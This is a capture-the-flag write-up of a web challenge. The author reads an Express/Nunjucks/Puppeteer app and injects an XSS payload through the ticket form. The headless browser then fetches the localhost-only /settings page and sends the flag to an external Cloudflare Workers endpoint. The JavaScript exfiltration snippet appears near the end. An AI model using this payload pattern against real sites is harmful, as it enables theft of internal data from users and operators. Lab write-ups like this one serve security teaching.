ブリンクホストは

First I started browsing through the source code to understand what all technologies are used.

1. Express App (JS) : The app uses ExpressJS for the backend.
2. Nunjucks: The most commonly used templating library is Nunjucks. Once I saw this maybe there is some injection possible somewhere.
3. SQL DB: Alright, the database was on SQL. I got excited to see this one as I'm a big fan of SQLi scripting. sqli
4. Puppeteer: There was also Puppeteer. I've barely used it, so I just had in the back of my head. Not sure what would be possible with it.

This was all I got from a bird's eye view. This is usually the first thing I do. Next is to understand what the app does, like really trying to understand what operations it is performing under the hood.

After browsing through the files. Of all the routes, the only 3 that mattered are the following:

1. settings
2. /tickets
3. /api/submit_ticket

Out of these, only the 3rd route is accessible via the browser. The first two routes are guarded by a condition that allows traffic originated only within the network i.e. from localhost.

if(req.ip != '127.0.0.1') return res.redirect('/');

So whenever I try to goto any of the endpoints from the browser, it simply redirects to the landing page.
Coming to the most important part, the flag was present inside settings.html that could only be accessed via the settings route. Let us explore how we could retrieve the flag.

• location of the flag
• in order to get to the flag, we gotta expose settings.html
• and that is blocked only from 127.0.0.1

Since the flag was hid behind the /settings endpoint, it can only be accessed within the network. If we somehow trick the server into thinking that the request originated within the network, it must lead us to settings.html.

Now that I know Puppeteer can send data outside, all I had to do was write a JS script that grabs the flag from /settings route and sends it to my Cloudflare API.

This solution would work cause it is in fact Pupetter which is running locally(request IP is 127.0.0.1) that visits the /settings endpoint, not me!!!

So here comes the easy part

    fetch("http://127.0.0.1:1337/settings")
    .then(response => {
        return response.text()
    })
    .then(html => {
        var exp=html.substring(html.lastIndexOf("HTB{"))
        fetch('https://curly-art-0176.designrknight.workers.dev/a='+exp)
    })

The simplest JS script to visit settings page, grab the flag and send back in the GET param. This could probably be the smallest backdoor script that I've ever written xD.

As soon as I hit submit, I got a hit on the logs. The param had the flag. And yes it was the right one!

The website is XSS susceptible. So write a fetch request that visits settings route, grabs the flag and then posts it back to an external endpoint. This worked because pupetter didnt block external network connetions. These two are the major vulnerabilities here.

Follow me on

I would like to thank Auth0 for hosting the CTF ✨. Special thanks to | Partner in crime.